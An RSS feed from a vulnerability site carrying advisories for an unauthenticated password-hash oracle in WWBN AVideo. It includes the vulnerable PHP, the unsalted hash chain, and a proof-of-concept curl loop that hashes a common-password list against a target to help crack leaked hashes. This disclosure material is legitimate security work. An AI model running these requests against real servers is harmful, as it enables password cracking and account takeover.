<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 21:56:12 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-276676</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-276676</link>
      <description>EUVD-2026-276676</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-276676</guid>
    </item>
    <item>
      <title>fkie_cve-2026-33041</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-33041</link>
      <description>&lt;p&gt;WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/encryptPass.json.php exposes the application&amp;#39;s password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes. If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint. This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly. This issue was fixed in version 26.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/encryptPass.json.php exposes the application&amp;#39;s password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes. If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint. This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly. This issue was fixed in version 26.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-33041</guid>
    </item>
    <item>
      <title>GHSA-px7x-gq96-rmp5 — AVideo has an Unauthenticated Password Hash Oracle via encryptPass.json.php</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-px7x-gq96-rmp5</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: wwbn/avideo&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`/objects/encryptPass.json.php` exposes the application&amp;#39;s password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;**File:** `objects/encryptPass.json.php`&lt;/p&gt;
&lt;p&gt;```php
$obj-&amp;gt;password = @$_REQUEST[&amp;#39;pass&amp;#39;];
$obj-&amp;gt;encryptedPassword = encryptPassword($obj-&amp;gt;password);
echo json_encode($obj);
```&lt;/p&gt;
&lt;p&gt;No authentication is required. The `encryptPassword()` function in `objects/functions.php` (line ~2101) uses:&lt;/p&gt;
&lt;p&gt;```php
function encryptPassword($password, $noSalt = false) {
    if (!empty($advancedCustomUser-&amp;gt;encryptPasswordsWithSalt) &amp;amp;&amp;amp; !empty($global[&amp;#39;salt&amp;#39;]) &amp;amp;&amp;amp; empty($noSalt)) {
        $password .= $global[&amp;#39;salt&amp;#39;];
    }
    return md5(hash(&amp;#39;whirlpool&amp;#39;, sha1($password)));
}
```&lt;/p&gt;
&lt;p&gt;By default, salt is NOT enabled (`encryptPasswordsWithSalt` is off), making the hash deterministic and identical to what&amp;#39;s stored in the database.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```bash
# Get the hash for any password
curl &amp;#39;https://TARGET/objects/encryptPass.json.php?pass=admin123&amp;#39;
# Response: {&amp;#34;password&amp;#34;:&amp;#34;admin123&amp;#34;,&amp;#34;encryptedPassword&amp;#34;:&amp;#34;&amp;lt;hash&amp;gt;&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Build a rainbow table for common passwords
for pass in $(cat rockyou-top1000.txt); do
  curl -s &amp;#34;https://TARGET/objects/encryptPass.json.php?pass=$pass&amp;#34;
done
```&lt;/p&gt;
&lt;p&gt;If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-c…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: wwbn/avideo&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`/objects/encryptPass.json.php` exposes the application&amp;#39;s password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;**File:** `objects/encryptPass.json.php`&lt;/p&gt;
&lt;p&gt;```php
$obj-&amp;gt;password = @$_REQUEST[&amp;#39;pass&amp;#39;];
$obj-&amp;gt;encryptedPassword = encryptPassword($obj-&amp;gt;password);
echo json_encode($obj);
```&lt;/p&gt;
&lt;p&gt;No authentication is required. The `encryptPassword()` function in `objects/functions.php` (line ~2101) uses:&lt;/p&gt;
&lt;p&gt;```php
function encryptPassword($password, $noSalt = false) {
    if (!empty($advancedCustomUser-&amp;gt;encryptPasswordsWithSalt) &amp;amp;&amp;amp; !empty($global[&amp;#39;salt&amp;#39;]) &amp;amp;&amp;amp; empty($noSalt)) {
        $password .= $global[&amp;#39;salt&amp;#39;];
    }
    return md5(hash(&amp;#39;whirlpool&amp;#39;, sha1($password)));
}
```&lt;/p&gt;
&lt;p&gt;By default, salt is NOT enabled (`encryptPasswordsWithSalt` is off), making the hash deterministic and identical to what&amp;#39;s stored in the database.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```bash
# Get the hash for any password
curl &amp;#39;https://TARGET/objects/encryptPass.json.php?pass=admin123&amp;#39;
# Response: {&amp;#34;password&amp;#34;:&amp;#34;admin123&amp;#34;,&amp;#34;encryptedPassword&amp;#34;:&amp;#34;&amp;lt;hash&amp;gt;&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Build a rainbow table for common passwords
for pass in $(cat rockyou-top1000.txt); do
  curl -s &amp;#34;https://TARGET/objects/encryptPass.json.php?pass=$pass&amp;#34;
done
```&lt;/p&gt;
&lt;p&gt;If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-c…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-px7x-gq96-rmp5</guid>
    </item>
  </channel>
</rss>
